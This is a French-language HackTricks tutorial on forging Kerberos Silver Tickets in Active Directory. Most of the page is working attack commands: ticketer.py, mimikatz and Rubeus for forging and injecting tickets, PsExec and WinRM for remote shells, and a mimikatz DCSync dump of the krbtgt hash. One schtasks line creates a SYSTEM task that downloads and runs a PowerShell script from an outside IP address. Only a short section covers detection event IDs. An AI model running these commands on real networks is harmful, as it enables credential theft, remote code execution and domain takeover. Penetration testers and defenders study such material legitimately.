hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md
2023-06-03 13:10:46 +00:00

9.5 KiB

Ticket d'argent

L'attaque du ticket d'argent est basée sur la création d'un TGS valide pour un service une fois que le hachage NTLM du service est obtenu (comme le hachage du compte PC). Ainsi, il est possible d'accéder à ce service en forgeant un TGS personnalisé en tant que n'importe quel utilisateur.

Dans ce cas, le hachage NTLM d'un compte d'ordinateur (qui est une sorte de compte utilisateur dans AD) est possédé. Par conséquent, il est possible de créer un ticket pour accéder à cette machine avec des privilèges d'administrateur via le service SMB. Les comptes d'ordinateur réinitialisent leurs mots de passe tous les 30 jours par défaut.

Il doit également être pris en compte qu'il est possible ET PRÉFÉRABLE (opsec) de forger des tickets en utilisant les clés Kerberos AES (AES128 et AES256). Pour savoir comment générer une clé AES, lisez la section 4.4 de MS-KILE ou le Get-KerberosAESKey.ps1.

python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache 
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass

{% endcode %}

Sous Windows, Mimikatz peut être utilisé pour créer le ticket. Ensuite, le ticket est injecté avec Rubeus, et enfin un shell distant peut être obtenu grâce à PsExec.

{% code title="Windows" %}

#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi

{% endcode %}

Le service CIFS est celui qui vous permet d'accéder au système de fichiers de la victime. Vous pouvez trouver d'autres services ici: https://adsecurity.org/?page_id=183. Par exemple, vous pouvez utiliser le service HOST pour créer une tâche schtask sur un ordinateur. Ensuite, vous pouvez vérifier si cela a fonctionné en essayant de lister les tâches de la victime: schtasks /S <hostname> ou vous pouvez utiliser les services HOST et RPCSS pour exécuter des requêtes WMI sur un ordinateur, testez-le en faisant: Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>

Atténuation

ID des événements Silver ticket (plus furtifs que les Golden tickets):

  • 4624: Connexion de compte
  • 4634: Déconnexion de compte
  • 4672: Connexion d'administrateur

Plus d'informations sur les Silver Tickets dans ired.team

Services disponibles

Type de service Silver Tickets de service
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

En fonction du système d'exploitation également:

WSMAN

RPCSS

WinRM

HOST

HTTP

Dans certaines occasions, vous pouvez simplement demander: WINRM

Tâches planifiées HOST
Partage de fichiers Windows, également psexec CIFS
Opérations LDAP, y compris DCSync LDAP
Outils d'administration de serveur distant Windows

RPCSS

LDAP

CIFS

Golden Tickets krbtgt

En utilisant Rubeus, vous pouvez demander tous ces tickets en utilisant le paramètre:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Abus de tickets de service

Dans les exemples suivants, imaginons que le ticket est récupéré en se faisant passer pour le compte administrateur.

CIFS

Avec ce ticket, vous pourrez accéder aux dossiers C$ et ADMIN$ via SMB (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Vous pourrez également obtenir un shell à l'intérieur de l'hôte ou exécuter des commandes arbitraires en utilisant psexec :

{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HÔTE

Avec cette autorisation, vous pouvez générer des tâches planifiées sur des ordinateurs distants et exécuter des commandes arbitraires :

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Avec ces tickets, vous pouvez exécuter WMI dans le système victime :

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Trouvez plus d'informations sur wmiexec dans la page suivante:

{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

Avec l'accès winrm sur un ordinateur, vous pouvez y accéder et même obtenir un PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Consultez la page suivante pour en savoir plus sur les différentes façons de se connecter à un hôte distant en utilisant winrm :

{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Notez que winrm doit être actif et en écoute sur l'ordinateur distant pour y accéder. {% endhint %}

LDAP

Avec ce privilège, vous pouvez extraire la base de données DC en utilisant DCSync :

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

En savoir plus sur DCSync dans la page suivante:

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Si vous êtes intéressé par une carrière de hacking et souhaitez hacker l'impénétrable - nous recrutons! (maîtrise du polonais à l'écrit et à l'oral requise).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥